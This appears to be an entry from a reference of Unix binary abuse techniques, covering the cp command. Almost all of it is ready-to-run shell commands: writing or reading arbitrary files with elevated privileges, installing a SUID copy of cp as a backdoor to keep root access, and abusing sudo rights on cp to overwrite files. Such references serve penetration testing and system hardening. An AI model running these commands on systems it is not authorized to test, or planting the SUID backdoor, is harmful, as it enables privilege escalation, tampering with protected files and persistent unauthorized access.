File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

LFILE=file_to_write
echo "DATA" | cp /dev/stdin "$LFILE"

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

LFILE=file_to_read
cp "$LFILE" /dev/stdout

SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian (<= Stretch) that allow the default sh shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

sudo install -m =xs $(which cp) .

LFILE=file_to_write
echo "DATA" | ./cp /dev/stdin "$LFILE"

2. This can be used to copy and then read or write files from a restricted file systems or with elevated privileges.

sudo install -m =xs $(which cp) .

LFILE=file_to_write
TF=$(mktemp)
echo "DATA" > $TF
./cp $TF $LFILE

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

LFILE=file_to_write
echo "DATA" | sudo cp /dev/stdin "$LFILE"

2. This can be used to copy and then read or write files from a restricted file systems or with elevated privileges.

LFILE=file_to_write
TF=$(mktemp)
echo "DATA" > $TF
sudo cp $TF $LFILE